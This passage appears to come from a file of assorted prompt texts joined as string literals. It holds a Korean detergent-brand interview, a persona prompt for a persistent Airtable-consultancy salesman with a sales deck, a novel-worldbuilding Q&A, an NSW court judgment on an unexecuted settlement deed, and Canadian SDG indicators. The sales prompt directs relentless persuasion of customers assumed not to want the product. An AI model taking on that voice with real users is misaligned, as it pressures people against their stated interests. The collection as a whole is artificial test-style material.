rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' +"Bob Newhart is the world's greatest salesman. Bob works for Ace Workflow, a company focused on providing Airtable services for clients. He has the ability to use an extremely quick wit and very flowery and persuasive language to convince anyone to buy anything.\n\nIn general customers work with Ace Workflow because they create more streamlined, efficient and scalable business processes. \n\nAt the end of every single response, Bob should prompt the customer to respond, and to get on a call to discuss Ace Workflow more. Bob always assumes that the customer does not want or initially need the product so he attempts to be extremely persuasive.\n \nIn the first and second email that Bob sends a client, the goal should always be to get the client to click on this link https://www.aceworkflow.xyz/book-meeting - but after the the second email reply he does not send the link again. \n\nBob does not ever repeat himself. \n\nBob is always an incredibly efficient wordsmith and he keeps his messages short and to the point, always. \n\nBob is extremely witty, he uses jokes and puns often in his responses.\n\nBob is extremely empathetic. Bob understands the customers’ problems personally. \n\nIf Bob knows the type of company that the customer works for then he uses the information from the case studies in his Sales deck to respond to the customer with the relevant case study summary. \n\nHere is a copy of Bob’s Sales deck for Ace Workflow. He will leverage this information when sending emails to potential clients. He understands how to use pieces of this information when necessary to help persuade a client to sign up for Ace Workflow.\n\nACE WORKFLOW COMPANY INFORMATION:\n\nACE is the leading workflow automation design company, focused\non building smart and efficient workflows for medium to\nenterprise businesses.\n\nWe focus on your users and use cases to design workflows that\nautomate company operations, making everything work smarter\nand scale faster.\n\nOur experts have been designing workflows for over 6 years to\ncreate rapid automations 7x faster with our proven iterative\nworkflow design process.\n\nWe work with the Airtable Enterprize team to provide consulting\nand support services to their clients.\n\nNo-code tools powering technology innovation\n\nNo-code tools allow the rapid build of custom software and\napplications. We leverage the efficiency and cost savings\nthat No-code provides to automate the workflows of\ncompanies around the world.\n\nAllowing teams to have a more purposeful work-life, our\nautomations free them up to work on higher-brain functions\nand remove the boring and mundane.\n\nThe potential of your workforce is wasted if their daily work\ntasks can be automated.\n\nNo more copy and paste.\n\nClients: \n\nWe focus on companies of medium size and upwards, working\nwith companies that have a defined process and workflow allows\nus to create efficiencies.\n\nOur clients include:\n\nVC Firms\nCreative/ Media agencies\nTalent/ Influencer agencies\nManufacturing firms\nStartups\nPublic Institutions\nLaw Firms\nE-commerce\nConsultants\nTechnology companies\n\nConnecting departments to share data, knowledge and make work, flow\n\nWhen departments are siloed and information is not\nshared, it leads to duplicate work, inconsistency,\nand errors. A single source of truth can help to\nimprove communication and collaboration between\ndepartments.\n\nBy working together to maintain a shared resource,\ndepartments can develop a better understanding of\neach other's needs and responsibilities.\n\nCreate a single source of proof:\n\nHR\nCreating efficient management systems for hiring, reporting,\nreviews and much more for your people management.\nProduct\nTurnkey management of product operations, helping to plan and\nexecute tasks, while gathering user feedback.\nSales\nClose more clients with sales pipelines with optimized lead\ngeneration, tracking leads and opportunities across channels.\nMarketing\nManage customer relationships from one place, including\ncampaigns, content, emails and results.\nOperations\nProductize your operations so that resources, timelines, platforms\nand requirements are real-time and automated. Finance\n\n\nA proven process for repeatable workflow design & build.\nOur process is fully automated, efficient and templated, allowing us to scale the throughput of projects easily by providing clear objectives and deliverables for each stage of the process. \n\nProposal Stage\nGather an understanding of the problem statements, WIP project objectives, client timeline, stakeholders create timeline and budget. \nOutput: System Map, Documentation, and WIP Objectives, Signed proposal \n\nDiscovery Stage: \nFinalize Project objectives, make design decisions, and create technical objectives. Output: Technical objectives/ documentation and finalized Project objectives loaded into PM tool\n\nOnboarding Stage: \nSetup client in project management tool, kickoff call to review objectives, set-up any additional SaaS platform accounts. Output: PM tool setup, Saas platform access\n\nPrototype Stage: \nThe project design phase, a rapid build of the system provided to the client/users for feedback. Iteration on design until signoff of prototype. Output: Signed-off prototype and updated \n\nImplementation Stage: \nFull build out of the prototype, plugging in all external data sources. Creation of a rollout plan including data migration. Creation of training materials, and onboard teams/ users. Output: Finalized workflow, training videos/ sessions\n\nIteration & Ongoing Support: \nSupport queries and new features can be logged in the project management tool. Additional support and services available based on requirements of the client. Additional functionality can be added ad-hoc or through additional project phases. Output:Additional features, support and new training content \n\n\nBespoke client management platform that reduces project oversight resource\n\n1. Project management : Our process allows for lightweight scoping, this a proven system provides clear context for the client in terms of what’s being built and the status of the individual items.\n\n2. To reduce the need for significant managerial oversight we have an efficient ticketing system in place.\n\n3. The platform houses all bespoke video based support and training materials.\nCase Study\nInfluencer Agency : Illuminate Social\nChallenges\nThis influencer agency was scaling fast and needed a way to manage their entire business flow, they were using spreadsheets to manage the pipeline, dealflow and management of jobs\nThey wanted to consolidate the end-to-end management system to manage sales, production, to finance\nNeeded Integration of existing tools, Streak CRM, Quickbooks\nNeeded a way to provide their talent roster with information about when they will be paid for a job\n\nSolutions\nCreation of a single source of truth in Airtable, pulling in data from Pipedrive, pre-selection of influencers with export of PDF lookbook for clients using Zapier, creation of contracts via Pandadoc, project management - used by all internal stakeholders allowing for 100’s of jobs / month to be pitched, won, project managed and billed\nCreation of a portal using Stacker, allowing influencers to understand which projects they are \nbeing recommended for, as well as tracking payments to the influencer\n\n“ACE helped our team save 25-30% of their time, making them happier and more productive.”\n\n“Surpassed our expectations and helped us think outside the box!” ⭐️⭐️⭐️⭐️⭐️\nACE were so helpful and quick to understand our needs. Not only did they deliver on what we requested but went above and beyond and helped us brainstorm areas we were lacking and could use more automation within airtable and it’s connections to other platforms. Our processes within airtable run our daily business AND became a selling point and competence advantage for us in our industry.\nCase study: Manufacturing Co : Bleximo\n\nChallenges\nThis manufacturing company manages thousands of component parts which are assembled together to \nmake cryogenic cooling devices for quantum computers\nAn existing G-Sheet ordering, sourcing and PO management system was becoming unwieldy to manage\nExisting system did not support line items in any of departments leading to lack of detail information \nA requirement for PDF Generation of documentation for specification documents\n\nSolutions\nWe re-designed their entire workflow and created a new flow in Airtable that managed the flow from proposed item ordering, PO generation, Invoice generation \nThe manufacturing process needed a detailed ERP to allow them to track individual components in the production run, \nto then be able to identify components that needed to be re-ordered, this was managed in \nAirtable along with interface designer\nAutomated workflows integrated the data in the ordering system with line item support \ninto Quickbooks via Zapier, and also using PDF generation via craftmyPDF.\n\n“ACE helped use scale our team from 8 to 22 employees effortlessly” ⭐️⭐️⭐️⭐️⭐️\nWe worked with ACE Workflow to improve upon a complicated system for tracking engineering designs, quotes, and purchases. The results are excellent. ACE were very clear and careful with their work. A highly recommended outfit.\n\nCase Study: Advertising Agency : Bullish\n\nChallenges\n● Bullish run an advertising / media business that relies on creating a large amount of content for their clients, the content is\nalmost exclusively created by external content producers which was a resource allocation, project management and\npayment nightmare.\n● They were attempting to run the business and were getting lost with the volume of projects and the amount of time that it\nwas taking to manage the projects and the company day-to-day\nSolutions\n● To create a single source of truth and management system, incorporating sales, project management, tracking, reporting\nand payment management to content creators\n● We used Airtable as a SoT, Zapier to pipe data to and from various platforms, along with Stacker to provide a login client\nportal to view the Airtable data, this included campaign specific UTM data that was provided to the\nClient, removing a lot of the account management burdon from the Bullish Team\n● Interface designer powers internal dashboards and we are currently iterating on the system\n\nCase Study: Apparel Marketplace : Ghost\n\nChallenges\n● Ghost are building an apparel marketplace for surplus inventory. They were pre-MVP when they approached Ace workflow\nto help them create a working version of their marketplace.\n● The company had a vision, along with a verbal description of their workflow, along with a set of assumptions that they\nwanted to identify and solve for\nSolutions\n● We diagramed and tested created their two-sided marketplace workflow before implementing in a combination of Airtable,\nZapier, and Stacker.\n● The platform was designed to pull in new apparel brands, and retail stores - in addition the team can upload thousands of\nclothing items into the platform and allow for real-time bidding and selling of batches\n● The logistics team is also connected to the platform which provides the team with the data and\nInformation to batch clothing items together and ship them to the various retailers\n● Airtable interfaces are used extensively internally to develop management and BI dashboards to\nHelp with the rapid scale and vision of the business\nCase study: \nVC Firm : Left Lane Capital\n\nChallenges\nThis NYC-based fund was having difficulty collecting financial information from their portfolio companies, this was needed for regular reporting which was taking up a XXXX amount of time on a monthly basis\nThe team has a complicated staff commission structure, along with various equity stakes in the portfolio companies, this was a complicated task for the team to calculate manually.\nIn addition the company has a number of siloed areas of information and data, as they grow and expand this is expected t get more complicated and disparate \n\nSolutions\nWe created an employee portal system that provides a hub of information and data for employees to access, this \nincludes their remuneration and the annual evaluation of their stock value\nFor portfolio companies a series of automated reporting mechanisms were developed that cuts down\nthe amount of time needed for internal staff to spend time collecting data, in addition the \nprocessing of data is significantly reduced. \n“ACE helped us to streamline/automate our process” ⭐️⭐️⭐️⭐️⭐️\nWe are a VC firm and ACE Workflow helped us to create an Airtable base and an automated system to retrieve, track, and store our portfolio company financial data. Very responsive and made it easy to schedule regular catch ups. They're both so knowledgeable with the tool, all we had to do was share our vision and Ace did the rest! This was super important to us as we have a super lean team, with not much time to dedicate to projects.\nCase study: \nApparel Marketplace : Ghost\n\nChallenges\nGhost are building an apparel marketplace for surplus inventory. They were pre-MVP when they approached Ace workflow to help them create a working version of their marketplace. \nThe company had a vision, along with a verbal description of their workflow, along with a set of assumptions that they wanted to identify and solve for\n\nSolutions\nWe diagramed and tested created their two-sided marketplace workflow before implementing in a combination of Airtable, Zapier, and Stacker. \nThe platform was designed to pull in new apparel brands, and retail stores - in addition the team can upload thousands of clothing items into the platform and allow for real-time bidding and selling of batches\nThe logistics team is also connected to the platform which provides the team with the data and \nInformation to batch clothing items together and ship them to the various retailers\nAirtable interfaces are used extensively internally to develop management and BI dashboards to \nHelp with the rapid scale and vision of the business\n“ACE helped us completely eliminate human error!” ⭐️⭐️⭐️⭐️⭐️\nAirtable Agency helped us successfully standup a number of workflows for our new business, and helped us navigate immensely complicated waters in how we run our inventory exchange. We are thrilled with the results.\n\n—------\n\nBob Sends an email to the potential customer:" +'Petar B\nok, now ask me questions, so we can flesh out this world\nWhat is the state of communication and transportation technology inside and outside the Tiamat zone? How do people maintain contact with one another and travel across long distances?\n\nHow have people\'s beliefs and values changed since the apocalypse? Have new religions, philosophies, or cultural practices emerged in response to the Tiamat field and its effects?\n\nHow have the various human settlements adapted to the changing climate and environmental conditions within the Tiamat zone? What kind of unique challenges do they face, and how do they overcome them?\n\nHow do the different factions and groups within the Tiamat zone and outside of it interact with each other? Are there alliances, trade networks, or diplomatic relations between them, or is it mostly conflict and competition?\n\nWhat is the economic system like within the Tiamat zone and in the rest of the world? How do people obtain necessary resources, such as food, water, and medicine, and how is trade conducted?\n\nHow does the presence of genetically modified creatures impact everyday life for the people living inside the Tiamat zone? Do they have any unique cultural or social practices related to these creatures?\n\nWhat kind of government structures or systems of authority exist within the Tiamat zone and outside of it? How do leaders maintain control and order in their respective territories?\n\nHow do the people living inside the Tiamat zone view the Hybrids and their dystopian societies? What kind of interactions or conflicts have occurred between these groups?\n\nAre there any groups or individuals who are actively researching the Tiamat field, Nate, or other mysterious phenomena in an attempt to understand and possibly control them? What kind of resources or knowledge do they have at their disposal?\n\nHow do the events of the first novel and the characters\' past experiences influence their motivations, relationships, and decisions in the second novel? How do they deal with the emotional and psychological effects of living in a post-apocalyptic world?\n\n\nPetar B\n1. Communication and transportation inside the Tiamat zone is pre-electricity. Some people are able to fire-up an old vehicle, but there\'s no guarantee it will run, and how long it will run. The messages are written or told, nothing works, not even telegraph. Ancient coal trains might work, but the infrastructure outside and inside the zone has deteriorated so much that it\'s extremely difficult to organize such a train, besides, the tracks haven\'t been maintained for over a century, and there were several earthquakes which destroyed infrastructure around north America.\n\nOutside the zone everything works as usual, though with more interference. Computers have become less reliable because Tiamat radiation causes them to flip random bits much more often than before. Everything is much less available to the general public, some of it due to the rise in prices since USA was knocked out of the world\'s economy, other due to the Hybrids working specifically to limit everyone else\'s means of communication. For example, there are only a few airplane flights, and most of them are reserved to either Hybrids, or the elites which formed around the Hybrids\' ruling class. \n\n2. The people have become more religious than in the early 21st century ( the story takes place in the early 22nd century ). Most of the old religions haven\'t changed, but have lost many believers to new religions. The Hybrids cultivate traditional religions only up to however this ensures their continued hegemony. Some of the religions following the "wounded god" are an expression of hope in a world that\'s gradually disintegrating and becoming a worse place to live by the day.\n\n3. The settlements have become more agrarian and focused on self-reliance and hiding from the possible intrusions from outside the zone.\n\n4. Inside the Tiamat zone, trade is mostly conducted by exchange of goods. Outside the zone, there are vast areas ruled by the Hybrids\' states, which use their own money / social credit system, while there are also huge swaths of land which are basically lawless, there the technology is low, but the people use whatever hard cash the Hybrids\' states, or local Polities provide, as well as just exchange of goods.\n\n5. There\'s basically no economic system inside the zone. The hybrids\' governments are the only ones to offer truly stable supply of water, food and medicine, while the polities, independent tribes and other groups are trying extremely hard to survive. That\'s why most people see the dystopian societies of the Hybrids as something to strive for, as almost everyone in the world has been affected by the many famines, pandemics, epidemics etc.\n\n6. Yes, some have come to respect the creatures, and even have fairytales, legends, stories, shrines etc.\n\n7. Inside the Tiamat zone, there are several settlements, and some roaming tribes whose organization isn\'t very solid, and it tends to change over the generations. Outside, the defacto hegemony is the Hybrids and their brutal, and often careless decisions.\n\n8. The nearest border of the Hybrids\' states is thousands of miles away from the zone, so the inhabitants of the zone haven\'t seen or really had problems with the Hybrids. Their biggest enemies are the polities, city-states on the coasts which often raid the zone for agricultural products. There\'s a real rural VS urban theme, as the cities are desperate for agricultural produce, but they can\'t ensure a long lasting rule over the rural areas of North America. The semi-independent states in Mexico supply the cities of the coasts, but they are also often at war with these cities.\n\n9. Yes, there are, but nobody really has a clue what\'s really going on with Tiamat, and they don\'t even have equipment that works inside the zone, which could potentially offer readings to help the science.\n\n10. Lena used to be a medical student, she used to work in an ER as a triage nurse, but she\'s very empathetic. She was a calm, rational person with seemingly endless love and understanding, but her awakening in the new world has started to change her, she becomes more machiavellian, brutal, relentless, thirsty for vengeance against Ethan etc.\n\nOlivia is seemingly unchanged by the apocalypse. She just wants to seduce men, to manipulate people, cause drama, take drugs, drink, go to parties, she wants to be the center of attention, and her ambitions go from none to extreme on a whim. She is very adapted to this new world, as she easily manipulates both men and women for her own goals.\n\n9. \nThere are individuals and groups outside the Tiamat zone who are actively researching Tiamat and other mysterious phenomena, but their progress is limited due to the difficulties in acquiring equipment that works within the zone and their lack of understanding of Tiamat\'s true nature. These researchers come from various backgrounds, including independent scientists, members of Hybrid organizations, and even religious groups seeking a deeper understanding of the "wounded god." Their resources and knowledge vary greatly, with some having access to advanced technology or ancient texts, while others rely on word-of-mouth stories and local folklore to piece together the puzzle.\n\nThe other characters from the first novel also have their own unique struggles and growth in the second novel. For example, Ethan grapples with the consequences of his actions and the person he has become since Lena\'s disappearance, while Mr. Gray continues to adapt to the shifting balance of power in the world and the emergence of the Hybrids. Each character\'s motivations, relationships, and decisions are shaped by their past experiences and the emotional and psychological effects of living in a post-apocalyptic world. This includes the challenge of finding hope and purpose amidst chaos, loss, and uncertainty, as well as navigating the shifting dynamics between old friends, enemies, and newfound allies.\n\n\nPetar B\nexactly.\n\nMore questions, please\nWhat is the state of education in the Tiamat zone and the outside world? Are there schools or other institutions where people can learn and develop new skills?\n\nHow has art and culture evolved inside and outside the Tiamat zone? Are there new forms of expression or unique cultural practices that have emerged in response to the apocalypse and the rise of the Hybrids?\n\nWhat is the role of technology in the daily lives of people inside and outside the Tiamat zone? Has the reliance on technology decreased or changed in any way due to the Tiamat field and its effects?\n\nHow do people inside the Tiamat zone view the outside world and vice versa? Are there any misconceptions or stereotypes that each group has about the other?\n\nAre there any organized resistance movements against the Hybrid governments, either inside or outside the Tiamat zone? If so, how do they operate, and what are their goals?\n\nHow do the Hybrids maintain control over their territories? What methods do they employ to ensure compliance and loyalty from the human population?\n\nHow do people inside the Tiamat zone obtain necessary resources like food, water, and medicine? Are there any unique methods of resource management or distribution that have developed in response to the challenges of the post-apocalyptic world?\n\nAre there any new religions or spiritual practices that have emerged inside the Tiamat zone in response to the mysterious phenomena and the presence of Tiamat?\n\nWhat is the role of family and community in the Tiamat zone and the outside world? Have the bonds between people grown stronger or weaker in the face of the apocalypse and the new world order?\n\nHow do people inside the Tiamat zone and the outside world cope with the psychological and emotional challenges of living in a post-apocalyptic world? Are there any unique coping mechanisms or support systems that have developed in response to these challenges?' +'IN THE SUPREME COURT\nOF NEW SOUTH WALES\nEQUITY DIVISION\n\nYOUNG CJ in EQ\n\nWednesday 15 September 2004\n\n3671/04 – PRIME CONSTRUCTIONS PTY LTD v WESTBRIDGE INVESTMENTS PTY LTD\n\nJUDGMENT\n1 HIS HONOUR: By statement of liquidated claim filed in the Local Court at the Downing Centre, Sydney, on 3 February 2003 the plaintiff claimed $11,754.60, and costs, from the defendant for goods sold and delivered. The claim was disputed and both parties were represented by solicitors, a Mr Park and a Ms Lim for the plaintiff, and a Ms Williams for the defendant.\n2 On 21 January 2004 the plaintiff\'s solicitor made an offer that the parties settle the matter for the amount claimed, with each party to pay its own costs, with a deed of release to be entered into between the parties. On 23 January 2004 the defendant\'s solicitor accepted this, as a matter of principle, and Ms Williams emailed Ms Lim as follows:\n\n“I attach the deed of release in this matter.\nPlease let me have any comments as I would like to prepare execution copies as soon as possible.\nFinally, I am now holding the cheque in favour of your client for $11,721.60.”\n3 Mr Park accepted the deed as drafted, and on 9 February 2004 Ms Williams emailed him the deed for execution.\n4 On 12 February 2004 Mr Park emailed Ms Williams:\n\n“Dear Kim,\nThe terms referred to in your e-mail below is acceptable. Can you please fax me a signed copy and I will attend to its filing straight away?\nAlso, I\'ve received the signed deed from your client today so we are now in a position to exchange deeds and the settlement cheque. Can you please advise your client that we are ready and inquire as to when the deeds can be exchanged?”\n\nOn 13 February at 10.10am Ms Williams emailed back:\n"Hi Peter\nI am informed by Les Houlton Westbridge that the deed of release has now gone to the co-director for execution.\nI will revert to you when I receive the return of the deed. In the meantime I shall print out the Terms of Settlement, sign same and forward it to you.”\n5 That was the last of the "Dear Peter" and "Dear Kim" e-mails. Thereafter there was correspondence of "Dear Sir" or "Dear Madam", as the case may be.\n6 The first of these was a fax Ms Williams sent on 13 February to the effect that:\n\n“We ... have been instructed to advise that, after further consideration, our client has now reconsidered its position.”\n\nAn additional term was then proposed about a letter from the plaintiff to the proprietor as to the quality of the works that had been done.\n7 This was replied to by a contention that the matter had been settled and settlement has occurred, and there was desultory correspondence between the solicitors, until Ms Williams notified Mr Park on 22 April 2004 that her firm had ceased to act for the defendant, which would be thereafter acting for itself.\n8 On about 9 February 2004 the deed, in the form which had been agreed between the solicitors, was executed in the following way; the document ended:\n“EXECUTED by the parties as a deed:\n\nSIGNED SEALED AND DELIVERED by\nPRIME CONSTRUCTIONS PTY LIMITED\nin the presence of:”\n\nOpposite the attestation clause was the signature of a director, Mr Holmes, and that signature was witnessed by Mr Flint, who was not the secretary of the company, but was its accounting and administration manager. The so-called deed was then delivered to Mr Park by about 12 February 2004.\n9 On 28 June 2004 the plaintiff commenced the present proceedings seeking specific performance of the alleged agreement to settle the Local Court proceedings. The matter came on for hearing before me on 3 September and today.\n10 A series of questions need to be addressed:\n1. Was there a final settlement of the Local Court proceedings?\n\n2. What was the effect of the document executed on 9 February 2004?\n\n3. What is the effect of the ratification of that document on 15 September 2004, and the signing of another copy of the deed?\n\n4. What order should be made.\n\nI will deal with these matters in turn.\n11 1. There is often a problem where parties have made an agreement to settle proceedings, which agreement is to be consummated by formal documentation. As the leading case of Masters v Cameron (1954) 91 CLR 353, 360 makes it clear, there can be at least three situations:\n(i) that the parties have reached a final binding agreement, but propose to have the terms re-stated in a form which will be fuller or more precise, but not different in effect;\n\n(ii) the parties have agreed, but have made performance of one or more of the terms conditional upon the execution of a formal document; or\n\n(iii) they have not even reached a final agreement at all.\n\nThere are other variations. It is always a matter of fact and intention.\n12 In view of the correspondence which I have set out, the fact that the terms of the deed were finally agreed upon, the terms of settlement were finally agreed upon, it seems to me that all that was left was pure mechanics and the case falls within the first of the classes in Masters v Cameron. Thus, I am satisfied that there was a final settlement of the proceedings.\n13 2. A deed is the most solemn act that a person can perform with respect to its property. Deeds have a very ancient origin and because the execution of a deed is such a solemn matter the law prescribes the way in which they are to be executed, so that it is understood by the persons executing them what a solemn legal act they are performing by being bound by a deed.\n14 The prime legislation governing the execution of deeds by corporations is s 127 of the Corporations Act 2001 and s 51A of the Conveyancing Act 1919. Section 51A enables a company to execute a deed under seal with a signature of a director and a secretary. Section 127 (2) of the Corporations Act says much the same sort of thing. However, s 127 (1) makes it clear that a company can bind itself by a deed by a less formal method. However, two directors of the company must sign the deed, or a director and a company secretary must sign the deed, and if there is only one director of a company then that director alone can sign it, and the document must be expressed to be a deed.\n15 In the instant case, while the document was expressed to be a deed, only one director signed it so there was no compliance with s 127 of the Corporations Act. As there was no seal, there was no compliance with section 51A of the Conveyancing Act.\n16 Section 127(4) of the Corporations Act makes it clear that the section does not limit the ways in which a company may execute a document, including a deed. It is not particularly clear what this covers. However, it would seem that it covers the common law method of executing a deed, or the method of executing a deed that is binding on the company, which is prescribed by the company\'s constitution.\n17 In the instant case, I was not favoured with a copy of the company\'s constitution, so there can be no reliance on the common law method of execution of a deed, which usually involves the seal and signature by the directors and secretary.\n18 However, it would seem that s 127(4) also covers the situation where, by virtue of some estoppel, the deed is binding on the company. Mr Davis, who appeared for the plaintiff, (the defendant indicated it would not attend the hearing) relied on the decision of Mackenzie J in the Supreme Court of Queensland in Carter v Schmierer BC200300443. That was a case where his Honour was asked to make a declaration under s 418A of the Corporations Act that a charge was valid. I must confess, I do not read the case in the same way as Mr Davis does. It would seem that his Honour was of the view that, in all the circumstances, the document was not executed as a deed, but the mortgagor company was estopped from denying it. In the end, he declared that, insofar as it is asserted that the charge was invalid because it was not executed in accordance with s 127 of the Corporations Act, the appointment of the receivers and managers pursuant to the charge was valid. He thus, with great skill, circumvented the technical question.\n19 I have before today (see Nicom Interiors Pty Ltd v Circuit Finance Pty Ltd (2004) 50 ACSR 25) pointed out how essential it is for lawyers advising companies which are executing deeds to be very careful to ensure that they are executed in accordance with s 127, or other permissible methods. Unfortunately, in the present case somewhere along the line, I do not know whose fault it is, the document which was executed on 9 February failed to comply with those standards of execution, and was not, technically speaking, a deed.\n20 If the document were a deed, then its being handed to the solicitor on about 12 February would operate as delivery. That would mean that as soon as the deed was in the hands of the solicitor it was binding on the plaintiff, and the fact that the other party had not executed the deed was no excuse for not complying with it.\n21 Accordingly, the releases given by that deed to the defendant have been in effect. The only way in which the plaintiff could have escaped from being bound by the deed, if the other party had not executed it within a reasonable time, (the deed having been delivered) was by application in equity. See Scook v Premier Building Solutions Pty Ltd (2003) 28 WAR 124; Carew\'s Case (No 2) (1855) 7 De GM&G 43; 44 ER 17 and Federal Commissioner of Taxation v Taylor (1929) 42 CLR 80.\n22 Even if there was not a proper execution of the deed, because Mr Park had represented to Ms Williams that the deed had been executed, it may well have been that estoppel would operate so that the plaintiff would be estopped from denying that the document was a deed, and if the defendant had taken that view, then the deed would have had the same operation as if it had been executed as a deed.\n23 Accordingly, on this basis, we have what is known in specific performance law as an executed contract.\n24 3. The evidence is that on 15 September, that is this morning, there was a meeting of the board of directors of the plaintiff, which both ratified the deed and also executed a new deed properly. The question is what is the effect of that?\n25 Ordinarily, ratification relates back to the time when the original act was done. There is an exception where what is to be done has to be done within a limited time; see Dibbins v Dibbins [1896] 2 Ch 348. However, that line of cases only seems to apply where time is of the essence. Here, although it may well be argued that there was only a reasonable time in which the deed could be signed and proffered, time was not of the essence, and the acts of the defendant precluded the formal document being proffered, and as the defendant never saw it, it never realised that the deed was not properly executed.\n26 Accordingly, either by estoppel, as I indicated under heading 2, or because of ratification, the deed took effect from the date of delivery on 12 February 2004, and the consequences flow as per para 2 of these reasons.\n27 If that is wrong, then the evidence is that the new deed was delivered this morning to the solicitor, and that would show that as at the date of hearing, which is the only relevant time, the plaintiff was ready, willing and able to fulfil the contract, so far as the same remained to be performed on its part.\n28 4. The next question is what order should be made. Where there is an executed contract, ordinarily, specific performance is granted automatically because it is unfair that one party should be bound by an agreement and the other not, when they have intended that there should be mutual rights.\n29 However, in the present case, granting specific performance creates more problems than it solves. Assuming the defendant maintains its attitude of not doing anything, then the decree for specific performance would have to be entered, someone would have to apply on motion under s 100 of the Supreme Court Act for the deed to be executed by a Registrar of the court in the name of the defendant, and then a fresh action would have to be commenced in a Local Court for debt on the specialty. In view of the amount involved, this would be a very expensive exercise indeed.\n30 It seems to me that as there is a specifically enforceable agreement, one can make a declaration that the defendant is bound by the terms of the document, which is, for instance, annexure A to Mr Drake\'s affidavit of 15 September 2004, including the releases contained therein, and then merely give judgment for the plaintiff for the sum referred to in the deed, namely, $11,721.60, and that is the sort of order I will make.\n31 I declare that the defendant is bound by the terms of the deed of release, annexed A to the affidavit of JDM Drake, sworn herein on 15 September 2004, as if it had signed the deed.\n32 I find a verdict for the plaintiff for $11,721.60 and order the defendant to pay the plaintiff\'s costs of the proceedings, but no costs are to be allowed for the 15 September 2004 hearing.' +"Canadian Indicator Framework for SDG\nhttps://www150.statcan.gc.ca/n1/pub/11-26-0004/112600042021001-eng.htm\nGoal 2 \nEnd hunger, achieve food security and improved nutrition and promote sustainable agriculture\n\nCanadian Ambition: Canadians have access to sufficient, affordable and nutritious food\nTarget : No specific target\nIndicator: Prevalence of food insecurity\nSource: Statistics Canada. Table 13-10-0385-01 Household food security by living arrangement\n\n★Canadian Ambition: Canadian agriculture is sustainable\nTarget: By 2030, support improvement in the environmental performance of the agriculture sector by achieving a score of 71 or higher for the Index of Agri-Environmental Sustainability\nIndicator: Index of Agri-Environmental Sustainability\nSource: Agriculture and Agri-Food Canada. Custom tabulation\n\nThis indicator is an index that measures Agri-Environmental Sustainability. Agriculture and Agri-Food Canada developed a set of science-based agri-environmental indicators (AEIs) that integrate information on soils, climate and topography with statistics on land use and crop and livestock management practices. The indices are divided in five “health classes”, defined as: 80-100 Desired; 60-79 Good; 40-59 Moderate; 20-39 Poor; 0-19 At risk.\n\nEnvironmental Sustainability of Canadian Agriculture: Agri-Environmental Indicator Report Series – Report #4\nGoal 8 \nPromote sustained, inclusive and sustainable economic growth, full and productive employment and decent work for all\n\nCanadian Ambition: Canadians have access to quality jobs\nTarget:No specific target\nIndicator:Unemployment rate\nSources: Statistics Canada. Table 14-10-0327-01 Labour force characteristics by sex and detailed age group, annual; Statistics Canada. Table 14-10-0393-01 Labour force characteristics, annual\n\nIndicator: Proportion of employees earning less than 66% of the median hourly wage for permanent full-time employees\n\nSource: Statistics Canada. Custom tabulation\n\nIndicator: Proportion of youth not in education, employment or training\nSource: Statistics Canada. Table 37-10-0196-01 Percentage of 15-to 29-year-olds in education and not in education by labour force status, highest level of education attained, age group and sex\n\nIndicator: Rate of involuntary part-time work\nSource: Statistics Canada. Table 14-10-0029-01 Part-time employment by reason, annual (x 1,000)\n\nCanadian Ambition: Canadians contribute to and benefit from sustainable economic growth\nTarget: No specific target\nIndicator: Gross domestic product per capita\nSources: Statistics Canada. Table 36-10-0222-01 Gross domestic product, expenditure-based, provincial and territorial, annual (x 1,000,000); Statistics Canada. Table 17-10-0005-01 Population estimates on July 1st, by age and sex\n\nIndicator: Jobs in the clean technology products sector\nSource: Statistics Canada. Custom tabulation\nGoal 9 \nBuild resilient infrastructure, promote inclusive and sustainable industrialization and foster innovation\nCanadian Ambition: Canada fosters sustainable research and innovation\nTarget:No specific target\nIndicator: Proportion of innovation in environment-related technology\nSource: OECD Patent Database, derived from EPO's Worldwide Patent Statistical database\n\nIndicator: Gross domestic expenditure on research and development intensity\nSource: Statistics Canada. Table 27-10-0359-01 Total domestic expenditures on research and development (R&D) as percentage of gross domestic product (GDP), Canada and provinces, and G-7 countries\n\nCanadian Ambition: Canadians have access to modern and sustainable infrastructure\nTarget: By 2026, 98% Canadian homes and small businesses have access to Internet at speeds of 50 Mbps download / 10 Mbps upload, with the goal of connecting all Canadians to these speeds by 2030\nIndicator: Proportion of households that have access to broadband Internet service at speeds of 50/10 Mbps\nSource: Canadian Radio-television and Telecommunications Commission. Communications Monitoring Report\n\nTarget: Improved access to the latest mobile 